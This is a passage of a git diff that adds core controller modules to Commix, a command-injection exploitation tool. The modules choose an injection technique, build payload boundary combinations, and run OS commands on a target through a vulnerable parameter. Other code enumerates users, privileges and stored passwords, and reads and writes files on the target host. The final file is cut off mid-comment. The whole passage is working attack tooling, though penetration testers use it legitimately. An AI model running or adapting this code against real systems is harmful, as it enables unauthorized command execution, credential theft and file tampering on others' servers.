+ injector = execution.select_injector(technique)
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ # Run the command, and let a freshly executed one settle before the next.
+ def wrapped(cmd):
+ shell, fresh = execute_cmd(cmd)
+ if fresh and settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ return shell
+ checks.run_single_os_cmd(wrapped, filename)
+
+"""
+Check the defined options
+"""
+def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ # Said before the first of these asks the target anything, not after - whether every fetch below
+ # is un-timed is already settled by now, from detection, so there is no need to wait for one of
+ # them to find out for itself.
+ untimed = technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED
+ if not untimed and technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ from src.core.techniques.tempfile_based import tfb_handler as oracle_handler
+ untimed = oracle_handler.oracle_active(url, vuln_parameter, separator)
+ if untimed and settings.THREADS <= 1 and not settings.BOOLEAN_THREADS_SUGGESTED:
+ settings.BOOLEAN_THREADS_SUGGESTED = True
+ info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ # Check if PowerShell is enabled.
+ if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS:
+ checks.ps_check()
+
+ if menu.options.ps_version and settings.PS_ENABLED == None:
+ # Set whichever way 'ps_incompatible_os()' answers - the wrong-OS case is itself the whole
+ # check 'do_check' was asked for here, and is otherwise re-run (and re-warned) on every
+ # technique 'stored_session()' sees confirmed, for having never been marked done.
+ settings.ENUMERATION_DONE = True
+ if not checks.ps_incompatible_os():
+ checks.print_enumenation().ps_version_msg()
+ powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+
+ if menu.options.sys_info:
+ checks.print_enumenation().os_info_msg()
+ system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.current_user:
+ checks.print_enumenation().current_user_msg()
+ current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.hostname:
+ checks.print_enumenation().hostname_msg()
+ hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.is_root or menu.options.is_admin:
+ checks.print_enumenation().check_privs_msg()
+ check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.users or menu.options.privileges:
+ checks.print_enumenation().print_users_msg()
+ system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.passwords:
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ checks.print_enumenation().print_passes_msg()
+ system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.ENUMERATION_DONE = True
+
+"""
+Check stored session
+"""
+def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ # Target-wide - run once, on the first successful technique.
+ if not settings.ENUMERATION_DONE and menu.enumeration_options():
+ do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+
+# eof
diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py
new file mode 100644
index 0000000000..cf1bfb3fb4
--- /dev/null
+++ b/src/core/controller/execution.py
@@ -0,0 +1,173 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.utils import session_handler
+from src.core.requests import requests
+from src.core.controller import checks
+
+"""
+Select the injector module for the given technique.
+"""
+def select_injector(technique):
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED:
+ from src.core.techniques.results_based import rb_injector as injector
+ elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ from src.core.eval import eb_injector as injector
+ elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ from src.core.techniques.time_based import tb_injector as injector
+ elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ from src.core.techniques.file_based import fb_injector as injector
+ elif technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED:
+ from src.core.techniques.boolean_based import bb_injector as injector
+ elif technique == settings.INJECTION_TECHNIQUE.OOB:
+ from src.core.techniques.oob import oob_injector as injector
+ else:
+ from src.core.techniques.tempfile_based import tfb_injector as injector
+ return injector
+
+"""
+Select the payloads module for the given time-related technique.
+"""
+def select_payloads_module(technique):
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payloads = checks.time_based_payloads()
+ else:
+ payloads = checks.tempfile_based_payloads()
+ return payloads
+
+"""
+Build the Windows-specific command variant for time-related techniques, returning (cmd, previous_cmd).
+"""
+def windows_transform_cmd(cmd, technique, interpreter):
+ previous_cmd = cmd
+ if interpreter:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
+ else:
+ cmd = checks.quoted_cmd(cmd)
+ elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ # 'write', not 'write-host': the value is read back off the payload's own standard output, and
+ # only the newer PowerShell writes what the latter prints there at all.
+ cmd = ("powershell.exe -InputFormat none write " +
+ checks.windows_output_bytes(checks.windows_output_text(cmd)) + ".length")
+ # The tempfile-based payloads wrap the command themselves, in the one PowerShell they already
+ # start - wrapping it here as well would cost a second process per probe, and the timing
+ # measurement pays for every one of them.
+ return cmd, previous_cmd
+
+"""
+Build a cache-less execute_cmd(cmd) -> output callback around the injector model, for callers (e.g. file writes) where re-running the command every time is required, not an optimization to skip.
+"""
+def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False, results_based_injector=False):
+ """
+ 'results_based_injector' is for a caller that has swapped in the classic injector under a
+ time-related technique - the Windows file write does. How the command is sent is the injector's
+ to say, and calling a results-based one with the time-related argument list raises TypeError.
+ """
+ def execute_cmd(cmd):
+ if technique in (settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED):
+ return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)
+ # Tried first here too - every caller built on this (hostname, '--os-cmd', file read/write,
+ # '--all') otherwise reached straight past the interactive shell's own oracle-first check and
+ # into the delay-based reading beneath it.
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not results_based_injector:
+ from src.core.techniques.tempfile_based import tfb_handler as oracle_handler
+ oracle_shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd)
+ if oracle_shell is not None:
+ return postprocess_time(oracle_shell)
+ if settings.TIME_RELATED_ATTACK and not results_based_injector:
+ try:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique)
+ else:
+ check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ except TypeError:
+ if not catch_time_error:
+ raise
+ shell = ""
+ return postprocess_time(shell)
+ else:
+ def send(command=None):
+ command = cmd if command is None else command
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector:
+ response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ else:
+ response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique)
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec)
+ return read_command_output(send, technique, cmd)
+ return execute_cmd
+
+"""
+What a results-based answer says, as text - or None where the markers never came back at all.
+
+Only that technique reads its answer from between markers, and only it can tell an output that
+was empty from a payload that was never answered: the markers come back around nothing in the
+first case and not at all in the second. Every other answer is text already.
+"""
+def _answer_text(found, technique):
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED and isinstance(found, list) and not found:
+ return None
+ return "".join(str(part) for part in found) if found else ""
+
+"""
+Read one command's output through the confirmed injection point, the command run once.
+
+How the output is read is settled before the first command the user asked for, not after it: told
+over an output already read, the only way to read it again is to run the command again. The one
+request sent twice is a more complex payload that was not answered at all - no markers came back,
+so it never ran, and sending the plain one instead runs the command for the first time, not the
+second. The rest of the target is then kept to the plain reading, and the user is told why.
+"""
+def read_command_output(send, technique, cmd):
+ def check(command):
+ applied = settings.USER_APPLIED_CMD
+ try:
+ return _answer_text(send(command), technique) or ""
+ finally:
+ settings.USER_APPLIED_CMD = applied
+ checks.decide_exact_output(technique, check)
+ shell = _answer_text(send(cmd), technique)
+ if shell is None and settings.RESULTS_BASED_EXACT_OUTPUT:
+ settings.RESULTS_BASED_EXACT_OUTPUT = False
+ warn_msg = "The more complex payload went unanswered, so command output is read the plain way."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ shell = _answer_text(send(cmd), technique)
+ return shell or ""
+
+"""
+Build an execute_cmd(cmd) -> (output, fresh) callback around the injector model, with session caching - the shared logic behind every enumeration.py check.
+"""
+def make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=lambda shell: shell, postprocess_time=lambda shell: shell, catch_time_error=False):
+ fire = make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time, catch_time_error)
+ # Run one command, reusing a stored answer where the session already holds one.
+ def execute_cmd(cmd):
+ stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ fresh = not checks.usable_stored_cmd(stored) or menu.options.ignore_session
+ if fresh:
+ shell = fire(cmd)
+ if not settings.TIME_RELATED_ATTACK:
+ shell = postprocess(shell)
+ if shell:
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = stored
+ return shell, fresh
+ return execute_cmd
+
+# eof
diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py
new file mode 100755
index 0000000000..b6c963c4ff
--- /dev/null
+++ b/src/core/controller/file_access.py
@@ -0,0 +1,147 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.utils import session_handler
+from src.core.controller import checks
+from src.core.controller import execution
+from src.thirdparty.six.moves import urllib as _urllib
+
+"""
+Write to a file on the target host.
+"""
+def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ fresh_time = False
+ results_based_injector = False
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ injector = execution.select_injector(technique)
+ else:
+ injector = execution.select_injector(settings.INJECTION_TECHNIQUE.RESULTS_BASED)
+ results_based_injector = True
+ if settings.TIME_RELATED_ATTACK:
+ whitespace = settings.WHITESPACES[0]
+ fresh_time = True
+ fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, results_based_injector=results_based_injector)
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
+ fire(cmd)
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
+ fire(cmd)
+ cmd = checks.delete_tmp(tmp_fname)
+ shell = fire(cmd)
+ else:
+ injector = execution.select_injector(technique)
+ fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ cmd = checks.write_content(content, dest_to_write)
+ if settings.TIME_RELATED_ATTACK:
+ cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
+ elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT
+ shell = fire(cmd)
+ cmd = checks.check_file(dest_to_write)
+ if settings.TIME_RELATED_ATTACK:
+ # Whether the file arrived is asked either way. Verbosity decides whether a blank line is
+ # printed first, not whether the check runs - reported unverified, a write that succeeded was
+ # announced as missing, and one that failed as present.
+ if settings.VERBOSITY_LEVEL == 0 and not fresh_time:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ shell = fire(cmd)
+ else:
+ if checks.using_backticks():
+ cmd = checks.remove_command_substitution(cmd)
+ shell = fire(cmd)
+ if settings.TIME_RELATED_ATTACK:
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ written = checks.file_write_status(shell, dest_to_write)
+ # Done right away, not deferred to quit() - 'fire' reads live technique state that moves on as
+ # the run keeps probing, so replaying it later is replaying it under the wrong technique.
+ if written and menu.options.cleanup:
+ checks.cleanup_remote_file(fire, dest_to_write)
+
+"""
+Read a file from the target host.
+"""
+def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd, file_to_read = checks.file_content_to_read()
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ needs_fresh = not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session
+ if needs_fresh and settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \
+ not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique):
+ shell, fresh = "", False
+ else:
+ # Asked for as base64 first, and read plainly only where the target cannot produce it. What a
+ # page does to a command's output - runs of whitespace folded into one, every newline among
+ # them - leaves a file that cannot be put back together; the encoded form has none of those
+ # characters in it, so the bytes arrive as they are on disk.
+ shell, fresh = checks.file_read_encoded(execute_cmd, file_to_read, technique)
+ if shell is None:
+ shell, fresh = execute_cmd(cmd)
+ if settings.TIME_RELATED_ATTACK:
+ if settings.VERBOSITY_LEVEL == 0 and fresh and len(shell) != 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ checks.file_read_status(shell, file_to_read, filename)
+
+"""
+Check for the '--common-files' wordlist on the target host, one path at a time.
+"""
+def common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ candidates = checks.common_files_candidates()
+ if not candidates:
+ return
+ info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ injector = execution.select_injector(technique)
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ found = []
+ for path in candidates:
+ # The same cheap pre-check '--file-read' uses under a timed technique - skipping the full
+ # extraction for a path that is not even there, rather than paying for one per candidate.
+ if settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \
+ not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, path, technique):
+ continue
+ shell, fresh = execute_cmd(checks.check_file(path))
+ if checks.path_exists_on_target(shell):
+ found.append(path)
+ checks.print_common_files(found, filename)
+
+"""
+Check the defined options
+"""
+def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ if menu.options.file_write:
+ file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.FILE_ACCESS_DONE = True
+
+ if menu.options.file_read:
+ file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.FILE_ACCESS_DONE = True
+
+ if menu.options.common_files:
+ common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.FILE_ACCESS_DONE = True
+
+"""
+Check stored session
+"""
+def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ # Target-wide - run once, on the first successful technique.
+ if not settings.FILE_ACCESS_DONE and menu.file_access_options():
+ do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+
+# eof
diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py
new file mode 100755
index 0000000000..b0f869473d
--- /dev/null
+++ b/src/core/controller/handler.py
@@ -0,0 +1,1839 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import os
+import re
+import time
+import string
+import random
+from src.core.parse import cmdline as menu
+from src.utils import logs
+from src.utils import settings
+from src.utils import common
+from src.utils import session_handler
+from src.core.requests import requests
+from src.core.controller import checks
+from src.core.controller import proof
+from src.thirdparty.six.moves import urllib as _urllib
+from src.core.controller import shell_options
+from src.thirdparty.six.moves import html_parser as _html_parser
+from src.core.controller import file_access
+from src.core.controller import registry_access
+from src.core.controller import enumeration
+from src.core.controller import execution
+from src.core.techniques.tempfile_based import tfb_handler
+
+"""
+Move a value already confirmed working (by another technique) to the front of a candidate list.
+"""
+def _prioritize(candidates, confirmed_value):
+ if confirmed_value in candidates:
+ return [confirmed_value] + [c for c in candidates if c != confirmed_value]
+ return candidates
+
+"""
+Every (whitespace, prefix, suffix, separator) combination to try, in order.
+"""
+def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=False, grammar_separators=None):
+ """
+ Each boundary worth sending, once.
+
+ A prefix that is itself a separator is dropped where it meets one, which every separator does -
+ so from the second level up, every one of them arrives at the payload as the empty prefix that
+ was already tried. Raising the level then buys re-sending what has been sent rather than asking
+ anything new: at level three that is most of the combinations, over every technique alike.
+
+ The suffix goes the same way. Against a payload that already closed itself, a separator suffix
+ reads as ';;' or '&|' - no shell parses either - and a quote suffix balances only its own prefix.
+ """
+ # What the grammar calls a separator, which is not the same as what this target can chain on -
+ # a suffix is dead against a closed payload either way.
+ grammar_separators = separators if grammar_separators is None else grammar_separators
+ # Asked of the function that puts the terminator there, so the two cannot drift apart.
+ self_terminated = dict((separator, checks.terminate_payload("x", separator, keep_output) != "x") for separator in separators)
+ tried = set()
+ for whitespace in whitespaces:
+ for prefix in prefixes:
+ for suffix in suffixes:
+ for separator in separators:
+ if suffix and self_terminated[separator] and suffix in grammar_separators:
+ continue
+ if suffix in settings.QUOTES and suffix != prefix:
+ continue
+ # The same rule the payload is built under, so what is compared is what would be sent.
+ effective = "" if (prefix + separator) in settings.JUNK_COMBINATION else prefix
+ boundary = (whitespace, effective, suffix, separator)
+ if boundary in tried:
+ continue
+ tried.add(boundary)
+ # Asked of every boundary rather than of the technique as a whole, which is the point of
+ # the two options: '--technique' already chooses between techniques.
+ if not checks.test_selected(whitespace, effective, suffix, separator):
+ continue
+ yield whitespace, prefix, suffix, separator
+
+"""
+Put the boundaries the parameter's own value asks for first.
+
+A value written as a number is rarely quoted in the command it ends up in, and one written as a
+word often is - so which of the two shapes is tried first is worth taking from the value rather
+than from the order the lists happen to carry. Worked out once per shape, for every parameter that
+has it.
+"""
+def _order_by_value_shape(prefixes, suffixes):
+ # Read off the parameter's own value, which is what the shape is a fact about. Where the sink
+ # turned out not to need that value it has been stood in for by three random letters, and three
+ # letters of the alphabet are alphabetic every time - so reading the stand-in put the quoted
+ # boundaries first on every target that optimisation fired on, leaving the bare one last behind
+ # four pairs and every separator of each. The value it stands for is kept, and is read instead;
+ # where it was not kept, nothing is known about the shape and the lists are left as written.
+ value = (settings.TESTABLE_VALUE or "").strip()
+ if settings.VALUE_SKIPPED_EARLY:
+ value = (settings.VALUE_SKIPPED_EARLY[0] or "").strip()
+ elif settings.TESTABLE_VALUE_OPTIMIZED:
+ return prefixes, suffixes
+ if checks.is_digit(value):
+ quoted_last = True
+ elif value.isalpha():
+ quoted_last = False
+ else:
+ return prefixes, suffixes
+ key = (quoted_last, tuple(prefixes), tuple(suffixes))
+ if key not in settings.BOUNDARY_ORDER_CACHE:
+ # Sorted rather than split, so that what is not being moved keeps the order it was written in.
+ quoted = lambda candidate: any(quote in candidate for quote in settings.QUOTES)
+ settings.BOUNDARY_ORDER_CACHE[key] = (
+ sorted(prefixes, key=lambda candidate: quoted(candidate) == quoted_last),
+ sorted(suffixes, key=lambda candidate: quoted(candidate) == quoted_last)
+ )
+ return settings.BOUNDARY_ORDER_CACHE[key]
+
+"""
+Put a boundary combo another technique already confirmed for this parameter first.
+"""
+def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces):
+ prefixes, suffixes = _order_by_value_shape(prefixes, suffixes)
+ _boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER)
+ if _boundary:
+ _b_prefix, _b_suffix, _b_separator, _b_whitespace = _boundary
+ """
+ Settled for this parameter, not merely tried first.
+
+ A technique that broke out of the string already answered which prefix and suffix this sink
+ reads; the techniques after it are asked through that one rather than through one more ordering
+ of the whole space, which is what the reference does once an injection has a boundary of its own.
+
+ The separator is left to the sweep. It is not part of that answer here the way a prefix is: what
+ chains at this sink is a question each technique settles for itself, and one that refuses an
+ operator another proved - boolean-based will not take a bare '&' - still needs its own turn.
+ """
+ prefixes = [_b_prefix] if _b_prefix in prefixes else _prioritize(prefixes, _b_prefix)
+ suffixes = [_b_suffix] if _b_suffix in suffixes else _prioritize(suffixes, _b_suffix)
+ separators = _prioritize(separators, _b_separator)
+ whitespaces = _prioritize(whitespaces, _b_whitespace)
+ return prefixes, suffixes, separators, whitespaces
+
+"""
+Announce the technique about to be tested, re-checking tamper compatibility now that it and the target OS are known.
+"""
+def _announce_technique(injection_type, technique):
+ settings.set_technique(technique)
+ checks.tamper_scripts(stored_tamper_scripts=True)
+ announced = (settings.CHECKING_PARAMETER, checks.technique_label(injection_type, technique))
+ already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced
+ # A technique retried internally - the file-based search across writable-directory candidates,
+ # most of all - would otherwise repeat the "Testing/Continue testing" line once per candidate.
+ # Said once, the same way injection_process() already holds its own repeats back.
+ if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced:
+ return
+ if already_announced:
+ settings.LAST_RESUMED_TECHNIQUE = announced
+ checks.testing_technique_title(injection_type, technique)
+
+"""
+Hold an action back, with the kind of attack that was in force when it was registered.
+
+What is deferred to quit() is run long after the technique that asked for it has finished, and the
+next one may have set a different kind of attack in the meantime - so the flag travels with the
+action rather than being read again when it finally runs.
+"""
+def _deferred_action(action, time_related_attack=None):
+ if time_related_attack is None:
+ time_related_attack = settings.TIME_RELATED_ATTACK
+ # The action itself, carrying the flag that was in force when it was held back.
+ def run():
+ settings.TIME_RELATED_ATTACK = time_related_attack
+ action()
+ return run
+
+# Register a post-detection action, run once at quit().
+def _register_post_detection_action(action, time_related_attack=None):
+ settings.PENDING_POST_DETECTION_ACTIONS.append(_deferred_action(action, time_related_attack))
+
+# Register the single deferred '--os-shell' entry, run at quit().
+def _register_os_shell_entry(action, time_related_attack=None):
+ settings.PENDING_OS_SHELL_ENTRY = _deferred_action(action, time_related_attack)
+
+"""
+Exit handler
+"""
+def exit_handler(no_result):
+ if no_result:
+ if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None:
+ """
+ Every combination tried without one is the technique finished, so it is closed the way a
+ technique that found something closes: a parameter that answers nothing would otherwise
+ leave each of its techniques hanging on the dots it got to.
+ """
+ if settings.PROGRESS_LINE_OPEN:
+ settings.RESPONSE_DELAYS = False
+ # Unless what ran out of combinations is the '/tmp/' attempt, which hands the sweep back
+ # rather than ending it: its line is left open for the boundaries the sweep returns to, so
+ # the one technique is announced once and closed once, however many directories it took.
+ if not settings.TEMPFILE_BASED_STATE:
+ settings.print_data_to_stdout(" (done)")
+ elif not settings.RESPONSE_DELAYS:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ else:
+ settings.RESPONSE_DELAYS = False
+ return False
+ else :
+ settings.print_data_to_stdout(settings.END_LINE.CR)
+
+"""
+Delete previous shells outputs.
+"""
+def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique):
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ if session_handler.check_file_deleted(url, technique, vuln_parameter, http_request_method):
+ info_msg = "The file ('" + OUTPUT_TEXTFILE + "') used for command execution was already deleted from the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return
+ """
+ Removed without being asked about.
+
+ The file is a working command channel for whoever finds it next, and leaving one behind on a
+ target is not something to make the operator opt out of - so what the run put there, the run
+ takes away.
+ """
+ info_msg = "Cleaning up the file ('" + OUTPUT_TEXTFILE + "') used for command execution."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ from src.core.techniques.file_based import fb_injector as injector
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ else:
+ cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
+ else:
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
+ else:
+ cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
+ injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ # A delete that did not take must not be remembered as one, or the next run reports the file as
